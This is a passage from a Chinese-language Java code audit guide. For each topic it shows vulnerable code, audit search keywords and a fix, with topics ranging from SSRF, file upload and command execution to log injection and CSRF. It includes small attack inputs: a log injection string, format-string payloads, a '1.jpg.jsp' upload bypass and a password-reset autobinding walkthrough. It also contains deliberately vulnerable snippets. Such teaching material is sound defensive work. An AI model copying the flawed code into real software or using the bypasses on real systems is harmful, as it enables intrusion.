在这个正确示例中，代码会在解压每个条目之前对其文件名进行校验。如果某个条目校验不通过，整个解压过程都将会被终止。实际上也可以忽略跳过这个条目，继续后面的解压过程，甚至也可以将这个条目解压到某个安全位置。除了校验文件名，while 循环中的代码会检查从 zip 存档文件中解压出来的每个文件条目的大小。如果一个文件条目太大，此例中是 100MB，则会抛出异常。最后，代码会计算从存档文件中解压出来的文件条目总数，如果超过 1024 个，则会抛出异常。

临时文件删除

介绍

程序员经常会在全局可写的目录中创建临时文件。例如，POSIX 系统下的/tmp 与 /var/tmp 目录，Windows 系统下的 C:\TEMP 目录。这类目录中的文件可能会被定期清理，例如，每天晚上或者重启时。然而，如果文件未被安全地创建或者用完后还是可访问的，具备本地文件系统访问权限的攻击者便可以利用共享目录中的文件操作。删除已经不再需要的临时文件有助于对文件名和其他资源（如二级存储）进行回收利用。每一个程序在正常运行过程中都有责任确保删除已使用完毕的临时文件。

漏洞示例

```
public class TempFile
{
public static void main(String[] args) throws IOException
{
File f = new File("tempnam.tmp");
if (f.exists())
{
System.out.println("This file already exists");
return;
}
FileOutputStream fop = null;
try
{
fop = new FileOutputStream(f);
String str = "Data";
fop.write(str.getBytes());
}
finally
{
if (fop != null)
{
try
{
fop.close();
}
```

```
catch (IOException x)
{
// handle error
}
}
}
}
}
```
上面的代码最后并没有显示的删除临时文件。
审计策略
搜索关键字
File
FileOutputStream
修复方案
```
public class TempFile
{
public static void main(String[] args)
{
Path tempFile = null;
try
{
tempFile = Files.createTempFile("tempnam", ".tmp");
try (BufferedWriter writer = Files.newBufferedWriter(tempFile,
Charset.forName("UTF8"),
StandardOpenOption.DELETE_ON_CLOSE))
{
// write to the file and use it
}
System.out.println("Temporary file write done, file erased");
}
catch (IOException x)
{
// Some other sort of failure, such as permissions.
System.err.println("Error creating temporary file");
}
}
}
```
这个正确示例创建临时文件时用到了 JDK1.7 的 NIO2 包中的几个方法。它使用了 createTempFile() 方法，这个方法会新建一个随机的文件名（文件名的构造方式由具体的实现所定义，JDK 缺少相关的文档说明）。文件使用 try-with-resources 构造块来打开，这种方式将会自动关闭文件，而不管是否有异常发生，并且在打开文件时用到了 DELETE_ON_CLOSE 选项，使得文件在关闭时会被自动删除。
```
public class TempFile
{
public static void main(String[] args) throws IOException
{
File f = File.createTempFile("tempnam", ".tmp");
FileOutputStream fop = null;
try
{
fop = new FileOutputStream(f);
// write to the file and use it
}
finally
{
if (fop != null)
```

```
{
try
{
fop.close();
}
catch (IOException x)
{
// handle error
}
if (!f.delete())// delete file when finished
{
// log the error
}}}}}
```
对于 JDK1.7 之前的版本，可以在临时文件使用完毕之后、系统终止之前，显式地对其进行删除。

日志注入

介绍

将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志

漏洞示例

下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误信息。

```
String val=request.getParameter("val");
try{
   int value=Integer.parseInt(val);
}catch(NumberFormatException nfe){
   log.info("Filed to parse val="+val);
}
```

如果用户为"val"提交字符串"twenty-one"(数字 21 的英文)，则日志会记录以下条目：

```
INFO:Failed to parse val=twenty-one
```

然而，如果攻击者提交字符串"twenty-one%0a%0aINFO:+User+logged+out%3dbadguy",则日志中就会记录以下条目：

```
INFO:Failed to parse val=twenty-one
INFO:User logged out=badguy
```

显然，攻击者可以使用同样的机制插入任意日志条目。

审计策略

全局搜索关键字

```
logger.IDSver*uIDSname
log
```

修复方案

先净化用户输入再记录。比如 pattern.match("[A-Za-z0-9_]+", uIDSname) 只是整改，减小日志注入攻击可能性。

Buffer 对象封装安全问题

介绍

java.nio 包中的 Buffer 类，如 IntBuffer, CharBuffer，以及 ByteBuffer 定义了一系列的方法，如 wrap()、slice()、duplicate()，这些方法会创建一个新的 buffer 对象，但是修改这个新 buffer 对象会导致原始的封装数据也被修改，反之亦然。例如，wrap()方法将原始类型数组包装成一个 buffer 对象并返回。虽然这些方法会创建一个新的 buffer 对象，但是它后台封装的还是之前的给定数

组，那么任何对 buffer 对象的修改也会导致封装的数组被修改，反之亦然。将这些 buffer 对象暴露给不可信代码，则会使其封装的数组面临恶意修改的风险。同样的，duplicate()方法会以原始 buffer 封装的数组来额外创建新的 buffer 对象，将此额外新建的 buffer 对象暴露给不可信代码同样会面临原始数据被恶意修改的风险。为了防止这种问题的发生，新建的 buffer 应该以只读视图或者拷贝的方式返回。

漏洞示例

```
public class Wrapper
{
private char[] dataArray;
public Wrapper ()
{
dataArray = new char[10];
// Initialize
}
public CharBuffer getBufferCopy()
{
return CharBuffer.wrap(dataArray);
}
}
public class Duplicator
{
CharBuffer cb;
public Duplicator ()
{
cb = CharBuffer.allocate(10);
// Initialize
}
public CharBuffer getBufferCopy()
{
return cb.duplicate();
}
}
```

这两个错误示例代码声明了一个 char 数组，然后将此数组封装到一个 buffer 中，最后通过 getBufferCopy()方法将此 buffer 暴露给不可信代码。

审计策略

全局搜索一下关键字

```
Buffer
IntBuffer
CharBuffer
ByteBuffer
wrap()
slice()
duplicate()
```

修复方案

```
public class Wrapper
{
private char[] dataArray;
public Wrapper ()
{
// Initialize
dataArray = new char[10];
}
// return a read-only view
public CharBuffer getBufferCopy()
{
```

```
return CharBuffer.wrap(dataArray).asReadOnlyBuffer();
}
}
public class Duplicator
{
CharBuffer cb;
public Duplicator ()
{
// Initialize
cb = CharBuffer.allocate(10);
}
// return a read-only view
public CharBuffer getBufferCopy()
{
return cb.asReadOnlyBuffer();
}
}
```

这个正确示例以只读 CharBuffer 的方式返回 char 数组的一个只读视图。

堆检查（String 对象问题）

介绍

将敏感数据存储在 String 对象中使系统无法从内存中可靠地清除数据

漏洞示例

如果在使用敏感数据（例如密码、社会保障码、信用卡号等）后不清除内存，则存储在内存中的这些数据可能会泄露。通常而言，String 被大部分开发者常用作存储敏感数据，然而，由于 String 对象不可改变，因此用户只能使用 JVM 垃圾收集器来从内存中清除 String 的值。除非 JVM 内存不足，否则系统不要求运行垃圾收集器，因此垃圾收集器何时运行并无保证。如果发生应用程序崩溃，则应用程序的内存转储操作可能会导致敏感数据泄露。

```
private JPasswordFiled pf;
...
final char[] password=pf.getPassword();
...
String passwordAsString = new String(password);
...
```

由于 passwordAsString 为 String 对象，其内容未被改变，如果垃圾回收机制没有及时将 passwordAsString 对象清除，则有可能发生数据泄露。

审计策略

定义好敏感数据以后全局搜索敏感数据所使用的数据类型。凡是定义为 String 对象类型的都应该检查上下文信息。

修复方案

请始终确保不再需要使用敏感数据时将其清除。可使用能够通过程序清除的字节数组或字符数组来存储敏感数据，而不是将其存储在类似 String 的不可改变的对象中。

下列代码可以在使用密码之后清除内存。

```
private JPasswordFiled pf;
...
final char[] password=pf.getPassword();
//使用密码
...
//密码使用完毕
Arrays.fill(password,'');
...
```

使用 Arrays.fill()方法将 password 字符数组清除，从而保证敏感数据的安全。

字符串格式化

介绍

由于对用户的输入没有严格的控制，导致一些恶意字符被格式化产生非预期的目的。

漏洞示例

举例来说 System.out.printf("%s"+args[0]) 安全可行，但是直 System.out.printf(args[0]) 危险，用户可以在输入中用特殊字符串比如 %1$tm 诱骗系统打印出敏感信息。

```
class Format
{
static Calendar c = new GregorianCalendar(1995, GregorianCalendar.MAY, 23);
public static void main(String[] args)
{
// args[0] is the credit card expiration date
// args[0] may contain either %1$tm, %1$te or %1$tY as malicious arguments
// First argument prints 05 (May), second prints 23 (day)
// and third prints 1995 (year)
// Perform comparison with c, if it doesn't match print the following line
System.out.printf(args[0]
+ " did not match! HINT: It was issued on %1$terd of some month",
c);
}
}
```

这个错误示例展示了一个信息泄露的问题。它将信用卡的失效日期作为输入参数并将其用在格式字符串中。如果没有经过正确的输入校验，攻击者可以通过提供一段包含%1$tm、%1$te 和%1$tY 之一的输入，来识别出程序中用来和输入做对比验证的日期。

审计策略

全文搜索以下关键字

```
Printf
Format
```

修复方案

不要直接将用户的输入格式化或者对于用户的输入数据做过滤或者采用正确的格式化方法即可。

```
class Format
{
static Calendar c = new GregorianCalendar(1995, GregorianCalendar.MAY, 23);
public static void main(String[] args)
{
// args[0] is the credit card expiration date
// Perform comparison with c,
// if it doesn't match print the following line
System.out.printf("%s did not match! "
+ " HINT: It was issued on %2$terd of some month", args[0], c);
}
}
```

该正确示例将用户输入排除在格式化字符串之外。

SSRF

介绍

SSRF 形成的原因大都是由于代码中提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤与限制。比如从指定 URL 链接获取图片、下载等。

漏洞示例
此处以 HttpURLConnection 为例，示例代码片段如下：

```
String url = request.getParameter("picurl");
StringBuffer response = new StringBuffer();


        URL pic = new URL(url);
        HttpURLConnection con = (HttpURLConnection) pic.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
BufferedReader in = new BufferedReader(new
InputStreamReader(con.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
     response.append(inputLine);
        }
in.close();
modelMap.put("resp",response.toString());
return "getimg.htm";
```

审计策略
1、应用从用户指定的 url 获取图片。然后把它用一个随即文件名保存在硬盘上，并展示给用户；
2、应用获取用户制定 url 的数据（文件或者 html）。这个函数会使用 socket 跟服务器建立 tcp 连接，传输原始数据；
3、应用根据用户提供的 URL，抓取用户的 web 站点，并且自动生成移动 wap 站；
4、应用提供测速功能，能够根据用户提供的 URL，访问目标站点，以获取其在对应经纬度的访问速度；
程序中发起 HTTP 请求操作一般在获取远程图片、页面分享收藏等业务场景,在代码审计时可重点关注一些 HTTP 请求操作函数，如下：

```
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
HttpServletRequest
getParameter
URI
URL
HttpClient
Request (对 HttpClient 封装后的类)
HttpURLConnection
URLConnection
okhttp
...
```

修复方案：
使用白名单校验 HTTP 请求 url 地址
避免将请求响应及错误信息返回给用户
禁用不需要的协议及限制请求端口,仅仅允许 http 和 https 请求等

文件上传漏洞

介绍
文件上传过程中，通常因为未校验上传文件后缀类型，导致用户可上传 jsp 等一些 webshell 文件。代码审计时可重点关注对上传文件类型是否有足够安全的校验，以及是否限制文件大小等。
漏洞示例

此处以 MultipartFile 为例，示例代码片段如下：

```
public String handleFileUpload(MultipartFile file){
        String fileName = file.getOriginalFilename();
        if (fileName==null) {
            return "file is error";
        }
        String filePath = "/static/images/uploads/"+fileName;
        if (!file.isEmpty()) {
            try {
                byte[] bytes = file.getBytes();
                BufferedOutputStream stream =
                        new BufferedOutputStream(new FileOutputStream(new
File(filePath)));
                stream.write(bytes);
                stream.close();
                return "OK";
            } catch (Exception e) {
                return e.getMessage();
            }
        } else {
            return "You failed to upload " + file.getOriginalFilename() + "
because the file was empty.";
        }
    }
```

审计策略

1：白名单或者黑名单校验后缀（白名单优先）

2：上传的文件是否校验限制了文件的大小（文件太大会造成 dos）

3：是否校验文件上传的后缀。关键函数如下

IndexOf(“.”) 从前往后取第一个点 被绕过可能 1.jpg.jsp

修复方案：IndexOf()替换成 lastIndexOf()

4：文件后缀对比

string.equals(fileSuffix)次函数不区分大小写。可通过 string.Jsp 这种方式绕过。修复方案在比较之前之前使用 fileSuffix.toLowerCase() 将前端取得的后缀名变换成小写或者改成 s.equalsIgnoreCase(fileSuffix) 即忽略大小

5：是否通过文件类型来校验

String contentType = file.getContentType();

这种方式可以前端修改文件类型绕过上传

6、java 程序中涉及到文件上传的函数，比如：

MultipartFile

7、模糊搜索相关文件上传类或者函数比如

File
FileUpload
FileUtils
UploadHandleServlet
FileLoadServlet
getInputStream
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity

修复方案

使用白名单校验上传文件类型、大小限制、强制重命名文件的后缀名等。

自动变量绑定（Autobinding）

介绍

Autobinding-自动绑定漏洞，根据不同语言/框架，该漏洞有几个不同的叫法，如下：

Mass Assignment: Ruby on Rails, NodeJS

Autobinding: Spring MVC, ASP.NET MVC

Object injection: PHP(对象注入、反序列化漏洞)

软件框架有时允许开发人员自动将 HTTP 请求参数绑定到程序代码变量或对象中，从而使开发人员更容易地使用该框架。这里攻击者就可以利用这种方法通过构造 http 请求，将请求参数绑定到对象上，当代码逻辑使用该对象参数时就可能产生一些不可预料的结果。

漏洞示例

示例代码以 ZeroNights-HackQuest-2016 的 demo 为例，把示例中的 justiceleague 程序运行起来，可以看到这个应用菜单栏有 about，reg，Sign up，Forgot password 这 4 个页面组成。我们关注的点是密码找回功能，即怎么样绕过安全问题验证并找回密码。

1）首先看 reset 方法，把不影响代码逻辑的删掉。这样更简洁易懂：

```
@Controller
@SessionAttributes("user")
public class ResetPasswordController {


private UserService userService;
...
@RequestMapping(value = "/reset", method = RequestMethod.POST)
public String resetHandler(@RequestParam String username, Model model) {
User user = userService.findByName(username);
if (user == null) {
return "reset";
}
model.addAttribute("user", user);
return "redirect: resetQuestion";
}
```

这里从参数获取 username 并检查有没有这个用户，如果有则把这个 user 对象放到 Model 中。因为这个 Controller 使用了@SessionAttributes("user")，所以同时也会自动把 user 对象放到 session 中。然后跳转到 resetQuestion 密码找回安全问题校验页面。

2）resetQuestion 密码找回安全问题校验页面有 resetViewQuestionHandler 这个方法展现

```
@RequestMapping(value = "/resetQuestion", method = RequestMethod.GET)
public String resetViewQuestionHandler(@ModelAttribute User user) {
logger.info("Welcome resetQuestion ! " + user);
return "resetQuestion";
}
```

这里使用了@ModelAttribute User user，实际上这里是从 session 中获取 user 对象。但存在问题是如果在请求中添加 user 对象的成员变量时则会更改 user 对象对应成员的值。 所以当我们给 resetQuestionHandler 发送 GET 请求的时候可以添加“answer=hehe”参数，这样就可以给 session 中的对象赋值，将原本密码找回的安全问题答案修改成“hehe”。这样在最后一步校验安全问题时即可验证成功并找回密码

审计策略

这种漏洞一般在比较多步骤的流程中出现，比如转账、找密等场景，也可重点留意几个注解如下：

@SessionAttributes

@ModelAttribute

这种漏洞一般通过黑盒的方式更容易测试得到

...

更多信息可参考 http://bobao.360.cn/learning/detail/3991.html

修复方案
Spring MVC 中可以使用@InitBinder 注解，通过 WebDataBinder 的方法 setAllowedFields、setDisallowedFields 设置允许或不允许绑定的参数。

URL 重定向

介绍
由于 Web 站点有时需要根据不同的逻辑将用户引向到不同的页面，如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面，整个过程中如果实现不好就可能导致 URL 重定向问题，攻击者构造恶意跳转的链接，可以向用户发起钓鱼攻击。
漏洞示例
此处以 Servlet 的 redirect 方式为例，示例代码片段如下：

```
String site = request.getParameter("url");
if(!site.isEmpty()){
response.sendRedirect(site);
}
```

审计策略
java 程序中 URL 重定向的方法均可留意是否对跳转地址进行校验全局搜索如下关键字：

```
sendRedirect
setHeader
forward
redirect
...
```

修复方案
使用白名单校验重定向的 url 地址
给用户展示安全风险提示，并由用户再次确认是否跳转

CSRF

备注：随便看看就行，这种漏洞一般不需要通过代码审计来发掘直接黑盒最方便
介绍
跨站请求伪造（Cross-Site Request Forgery，CSRF）是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果，所以 CSRF 攻击主要用来执行动作，而非窃取用户数据。当受害者是一个普通用户时，CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作；但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 Web 系统的安全。
漏洞示例
由于开发人员对 CSRF 的了解不足，错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”，当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。例如，一个博客删除文章是通过如下方式实现的：

```
GET http://blog.com/article/delete.jsp?id=102
```

当攻击者诱导用户点击下面的链接时，如果该用户登录博客网站的凭证尚未过期，那么他便在不知情的情况下删除了 id 为 102 的文章，简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。
审计策略
此类漏洞一般都会在框架中解决修复，所以在审计 csrf 漏洞时。首先要熟悉框架对 CSRF 的防护方案，一般审计时可查看增删改请求重是否有 token、formtoken 等关键字以及是否有对请求的 Referer 有进行校验。手动测试时,如果有 token 等关键则替换 token 值为自定义值并重放请求，如果没有则替换请求 Referer 头为自定义链接或置空。重放请求看是否可以成功返回数据从而判断是否存在 CSRF 漏洞。
修复方案

Referer 校验，对 HTTP 请求的 Referer 校验，如果请求 Referer 的地址不在允许的列表中，则拦截请求。
Token 校验，服务端生成随机 token，并保存在本次会话 cookie 中，用户发起请求时附带 token 参数，服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。
Formtoken 校验，Formtoken 校验本身也是 Token 校验，只是在本次表单请求有效。
对于高安全性操作则可使用验证码、短信、密码等二次校验措施
增删改请求使用 POST 请求

命令执行

介绍
由于业务需求，程序有可能要执行系统命令的功能，但如果执行的命令用户可控，业务上有没有做好限制，就可能出现命令执行漏洞。
漏洞示例
此处以 getRuntime 为例，示例代码片段如下：

```
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
```

审计策略
这种漏洞原理上很简单，重点是找到执行系统命令的函数，看命令是否可控。在一些特殊的业务场景是能判断出是否存在此类功能，这里举个典型的实例场景,有的程序功能需求提供网页截图功能，笔者见过多数是使用 phantomjs 实现，那势必是需要调用系统命令执行 phantomjs 并传参实现截图。而参数大多数情况下应该是当前 url 或其中获取相关参数，此时很有可能存在命令执行漏洞，还有一些其它比较特别的场景可自行脑洞。
java 程序中执行系统命令的函数如下：

```
Runtime.exec
Process
ProcessBuilder.start
GroovyShell.evaluate
...
```

修复方案
避免命令用户可控
如需用户输入参数，则对用户输入做严格校验，如&&、|、;等

越权漏洞

介绍
越权漏洞可以分为水平、垂直越权两种,程序在处理用户请求时未对用户的权限进行校验，使的用户可访问、操作其他相同角色用户的数据，这种情况是水平越权；如果低权限用户可访问、操作高权限用户则的数据，这种情况为垂直越权。
漏洞示例

```
    @RequestMapping(value="/getUserInfo",method = RequestMethod.GET)
    public String getUserInfo(Model model, HttpServletRequest request) throws
IOException {
        String userid = request.getParameter("userid");
        if(!userid.isEmpty()){
            String info=userModel.getuserInfoByid(userid);
            return info;
        }
        return "";
    }
```

审计策略
水平、垂直越权不需关注特定函数，只要在处理用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞
修复方案
获取当前登陆用户并校验该用户是否具有当前操作权限，并校验请求操作数据是否属于当前登陆用户，当前登陆用户标识不能从用户可控的请求参数中获取。

权限组合

介绍
有些许可和目标的组合会导致权限过大，而这些权限本不应该被赋予。另外有些权限
必须只赋予给特定的代码。
1．不要将 AllPermission 许可赋予给不信任的代码。
2．ReflectPermission 许可与 suppressAccessChecks 目标组合会抑制所有 Java 语言标准中的访问检查了，这个访问检查在一个类试图访问其他类的包私有，包保护，和私有成员的进行。因此，被授权的类能够访问任意其他类中任意的字段和方法。因此，不要将 ReflectPermission 许可和 suppressAccessChecks 目标组合使用。
3．如果将 java.lang.RuntimePermission 许可与 createClassLoader 目标组合，将赋予代码创建 ClassLoader 对象的权限。这将是非常危险的，因为恶意代码可以创建其自己特有的类加载器并通过类加载来为类分配任意许可。
漏洞示例

```
// Grant the klib library AllPermission
grant codebase "file:${klib.home}/j2se/home/klib.jar"
{
permission java.security.AllPermission;
};
```

在该错误代码示例中，为 klib 库赋予了 AllPermission 许可。这个许可是在安全管理器使用的安全策略文件中指定的。
审计策略
全局搜索以下关键字

```
AllPermission
ReflectPermission
suppressAccessChecks
java.lang.RuntimePermission
createClassLoader
```

修复方案

```
grant codebase "file:${klib.home}/j2se/home/klib.jar", signedBy "Admin"
{
permission java.io.FilePermission "/tmp/*", "read";
permission java.io.SocketPermission "*", "connect";
};
```

此正确示例展示了一个可用来进行细粒度授权的策略文件。
有可能需要为受信任的库代码授予 AllPermission 来使得回调方法按预期运行。例如，对可选的 Java 包（拓展库）赋予 AllPermission 权限是常见并可以接受的做法：

```
// Standard extensions extend the core platform and are granted all
permissions
by default
grant codeBase "file:${{java.ext.dirs}}/*"
{
permission java.security.AllPermission;
};
```

字节码验证

介绍

Java 字节码验证器是 JVM 的一个内部组件，负责检测不合规的 Java 字节码。包括确保 class 文件的格式正确性、没有出现非法的类型转换、不会出现调用栈下溢，以及确保每个方法最终都会将其往调用栈中推入的东西删除。用户通常觉得从可信的源获取的 Java class 文件是合规的，所以执行起来也是安全的，误以为字节码验证对于这些类来说是多余的。结果，用户可能会禁用字节码验证，破坏 Java 的安全性以及安全保障。字节码验证器一定不能被禁用。

漏洞示例

```
java -Xverify:none ApplicationName
```

字节码验证程序默认会被 JVM 所执行。JVM 命令行参数-Xverify:none 会让 JVM 抑制字节码验证过程。在这个错误代码示例中，就使用了这个参数来禁用字节码验证。

审计策略

检查环境，确保字节码验证是开启的或者全局搜索-Xverify 查看。

安全修复

```
java ApplicationName
```

字节码验证默认就是启用的。

显式启用验证

```
java -Xverify:all ApplicationName
```

在命令行中配置-Xverify:all 参数要求 JVM 启用字节码验证（尽管可能之前是被禁用的）。

远程监控部署的应用

介绍

Java 提供了多种 API 让外部程序来监控运行中的 Java 程序。这些 API 也允许不同主机上的程序远程监控 Java 程序。这样的特征方便对程序进行调试或者对其性能进行调优。但是，如果一个 Java 程序被部署在生产环境中同时允许远程监控，攻击者很容易连接到 JVM 来监视这个 Java 程序的行为和数据，包括所有潜在的敏感信息。攻击者也可以对程序的行为进行控制。 因此，当 Java 程序运行在生产环境中时，必须禁用远程监控。

漏洞示例

```
${JDK_PATH}/bin/java -agentlib:libname=options ApplicationName
```

在该错误示例中，JVM Tool Interface（JVMTI）通过代理来与运行中的 JVM 通信。这些代理通常是在 JVM 启动的时候通过 Java 命令行参数 - agentlib 或者-agentpath 来加载的 ， 从而允许 JVMTI 对应用程序进行监控。

```
${JDK_PATH}/bin/java -Dcom.sun.management.jmxremote.port=8000 ApplicationName
```

在以上错误示例中，用命令行参数使得 JVM 被允许在 8000 端口上进行远程监控。如果密码强度很弱或者误用 SSL 协议，可能会导致安全漏洞。

审计策略

环境检查，启动部署检查。

安全修复

```
${JDK_PATH}/bin/java -Djava.security.manager ApplicationName
```

上面的命令行启动 JVM 时，未启用任何代理。避免在生产设备上使用-agentlib， -Xrunjdwp，和-Xdebug 命令行参数，并且安装了默认的安全管理器。

对于一个 Java 程序，如果能保证本地信任边界外没有任何程序可以访问该程序，那么这个程序可通过任意一种技术被远程监控。例如，如果这个程序安装在一个本地网络上，该本地网络是完全可信的而且与所有不可信的网络不连通，包括 Internet，那么远程监控是被允许的。

代码安全

介绍

1、 将所有安全敏感代码都放在一个 jar 包中

若所有安全敏感代码（例如进行权限控制或者用户名密码校验的代码）没有放到同一个受信任的 JAR 包中，攻击者可以先加载恶意代码（使用相同的类名），然后操纵受信任的敏感代码执行恶意代码，导致受信任代码的执行逻辑被劫持。

2、 生产代码不能包含任何调试入口点

一种常见的做法就是由于调试或者测试目的在代码中添加特定的后门代码，这些代码并没有打算与应用一起交付或者部署。当这类的调试代码不小心被留在了应用中，这个应用对某些无意的交互就是开放的。这些后门入口点可以导致安全风险，因为在设计和测试的时候并没有考虑到而且处于应用预期的运行情况之外。被忘记的调试代码最常见的例子比如一个 web 应用中出现的 main()方法。虽然这在产品生产的过程中也是可以接受的，但是在生产环境下，J2EE 应用中的类是不应该定义有 main()的。

漏洞示例

示例一 敏感代码放在同一个 jar 中

```
package trusted;
import untrusted.RetValue;
public class MixMatch
{
private void privilegedMethod() throws IOException
{
try
{
final FileInputStream fis =
AccessController.doPrivileged(new
PrivilegedExceptionAction<FileInputStream>()
{
public FileInputStream run() throws FileNotFoundException
{
return new FileInputStream("file.txt");
}
});
try
{
RetValue rt = new RetValue();
if (rt.getValue() == 1)
{
// do something with sensitive file
}
}
finally
{
fis.close();
}
}
catch (PrivilegedActionException e)
{
// forward to handler and log
}
}
public static void main(String[] args) throws IOException
{
MixMatch mm = new MixMatch();
mm.privilegedMethod();
}
```

```
}
// In another JAR file:
package untrusted;
class RetValue
{
public int getValue()
{
return 1;
}
}
```

攻击者可以提供 RetValue 类的实现，使特权代码使用不正确的返回值。尽管 MixMatch 类包含的都是信任的签名的代码，攻击者仍然可以恶意部署一个经过有效签名 JAR 文件，这个 JAR 文件包含不受信任的 RetValue 类，来进行攻击。

审计策略

通读敏感区的代码来判断。

安全修复

```
package trusted;
public class MixMatch
{
// ...
}
// In the same signed & sealed JAR file:
package trusted;
class RetValue
{
int getValue()
{
return 1;
}
}
```

该正确代码示例将所有安全敏感代码放在一个包和 JAR 文件中。同时也将 getValue()方法的访问性降低到包可访问。需要对包进行密封以防止攻击者插入恶意类。按以下方式，在 JAR 文件中的 manifest 文件头部中加入 sealed 属性来对包进行密封：

```
Name: trusted  // package name
Sealed: true  // sealed attribute
```

示例二 生产环境代码不能有任何调试点

```
public class Stuff
{
// other fields and methods
public static void main(String args[])
{
Stuff stuff = new Stuff();
// Test stuff
}
}
```

在这个错误代码示例中，Stuff 类使用了一个 main()函数来测试其方法。尽管对于调试是很有用的，如果这个函数被留在了生产代码中（例如，一个 Web 应用），那么攻击者就可能直接调用 Stuff.main()来访问 Stuff 类的测试方法。

审计策略

通读代码或者在 j2ee 代码中搜索 main 方法

修复方案

正确的代码示例中将 main()方法从 Stuff 类中移除，这样攻击者就不能利用这个入口点了。

硬编码问题

介绍

如果将敏感信息（包括口令和加密密钥）硬编码在程序中，可能会将敏感信息暴露给攻击者。任何能够访问到 class 文件的人都可以反编译 class 文件并发现这些敏感信息。因此，不能将信息硬编码在程序中。同时，硬编码敏感信息会增加代码管理和维护的难度。例如，在一个已经部署的程序中修改一个硬编码的口令需要发布一个补丁才能实现。

漏洞示例

```
public class IPaddress
{
private String ipAddress = "172.16.254.1";
public static void main(String[] args)
{
//...
}
}
```

恶意用户可以使用 javap -c IPaddress 命令来反编译 class 来发现其中硬编码的服务器 IP 地址。反编译器的输出信息透露了服务器的明文 IP 地址：172.16.254.1。

审计策略

通读代码查看是否有硬编码敏感文件。

安全修复

```
public class IPaddress
{
public static void main(String[] args) throws IOException
{
char[] ipAddress = new char[100];
BufferedReader br = new BufferedReader(new InputStreamReader(
new FileInputStream("serveripaddress.txt")));
// Reads the server IP address into the char array,
// returns the number of bytes read
int n = br.read(ipAddress);
// Validate server IP address
// Manually clear out the server IP address
// immediately after use
for (int i = n - 1; i >= 0; i--)
{
ipAddress[i] = 0;
}
br.close();
}
}
```

这个正确代码示例从一个安全目录下的外部文件获取服务器 IP 地址。并在其使用完后立即从内存中将其清除可以防止后续的信息泄露。

批量请求

介绍

业务中经常会有使用到发送短信校验码、短信通知、邮件通知等一些功能，这类请求如果不做任何限制，恶意攻击者可能进行批量恶意请求轰炸，大量短信、邮件等通知对正常用户造成困扰，同时也是对公司的资源造成损耗。

除了短信、邮件轰炸等，还有一种情况也需要注意，程序中可能存在很多接口，用来查询账号是否存在、账号名与手机或邮箱、姓名等的匹配关系，这类请求如不做限制也会被恶意用户批量利用，从而获取用户数据关系相关数据。对这类请求在代码审计时可关注是否有对请求做鉴权、和限制即可大致判断是否存在风险。

漏洞示例

```
    @RequestMapping(value="/ifUserExit",method = RequestMethod.GET)
    public String ifUserExit(Model model, HttpServletRequest request) throws
IOException {
        String phone = request.getParameter("phone");
        if(! phone.isEmpty()){
            boolean ifex=userModel.ifuserExitByPhone(phone);
            if (!ifex)
                return "用户不存在";
        }
        return "用户已被注册";
}
```

审计策略

对于和前端的任何交互请求不要信任，多思考一步。全局搜索如下关键字

```
getParameter
HttpServletRequest
RequestMethod
```

修复方案

对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制，不可在前端实现限制。

代码执行

介绍

在 java 里面并不存在 eval 这样的函数来直接执行代码，但是可以通过动态编译的方式来执行。jdk 提供一个动态编译的类。

```
JavaCompiler javac;
javac = ToolProvider.getSystemJavaCompiler();
int compilationResult = javac.run(null,null,null, "-g","-verbose",javaFile);
```

这样就可以动态进行编译。前两个参数是输入参数、输出参数，我觉得没有什么用，第三个参数是编译输出信息，默认输出到 System.out.err 里面。从第四个参数开始，就是 javac 的参数，可以用数组，也可以直接逗号分割。

审计策略

这种代码一般在特殊的场景下才会产生。一般的业务逻辑中很少遇见。全局搜索一下关键字，然后结合上下文可以进行判断。

```
URLClassLoader
ToolProvider.getSystemJavaCompiler()
getSystemClassLoader
JavaFileObject
```

修复方案

根据上下环境，仔细查看所要执行的代码是不是有可控制的输入点。如果有需要使用类似标识位的方式替代。比如 1 代表固定需要执行的代码，2 代表另一端固定需要执行的代码。绝对禁止从外部直接输入所要执行的代码。

基础数据问题

介绍

主要是数组的比较和数据类型的比较或者其它的一些基础数据运算的审计。

漏洞示例

示例一 数组比较

通过下面的运行结果可以看到 Arrays.equals()这种是比较的两个数组元素的值，而 arr1.equals(arr2)这种是比较的两个数组元素的首地址。这种比较有可能造成逻辑上的错误。

审计策略
全局搜索以下关键字
equals()
漏洞修复
使用 Arrays.equals() 替代 arr1.equals(arr2)。
示例二 不要用 == 或者！= 比较封装数据类型的值
通过下面的结果可以看到 == 这种是对值的直接比较所以不适用于引用类型的比较。

审计策略
在一些关键的业务代码处做审计，这种属于低级错误一般不建议审计。
修复方案
见示例
安全管理器
介绍
当应用需要加载非信任代码时，必须安装安全管理器，且敏感操作必须经过安全管理器检查，从而防止它们被非信任代码调用。某些常见敏感操作的 Java API，例如访问本地文件、向外部主机开放套接字连接或者创建一个类加载器，已经包括了安全管理器检查来实施 JDK 中的某些预定义策略。仅需要安装安全管理器即可保护这些预定义的敏感操作。然而，应用本身也可能包含敏感操作。对于这些敏感操作，除了安装一个安全管理器之外，必须自定义安全策略，并在操作前手动为其增加安全管理器检查。
漏洞示例

```
public class SensitiveHash
{
private Hashtable<Integer, String> ht = new Hashtable<Integer, String>();
public void removeEntry(Object key)
{
ht.remove(key);
}
}
```

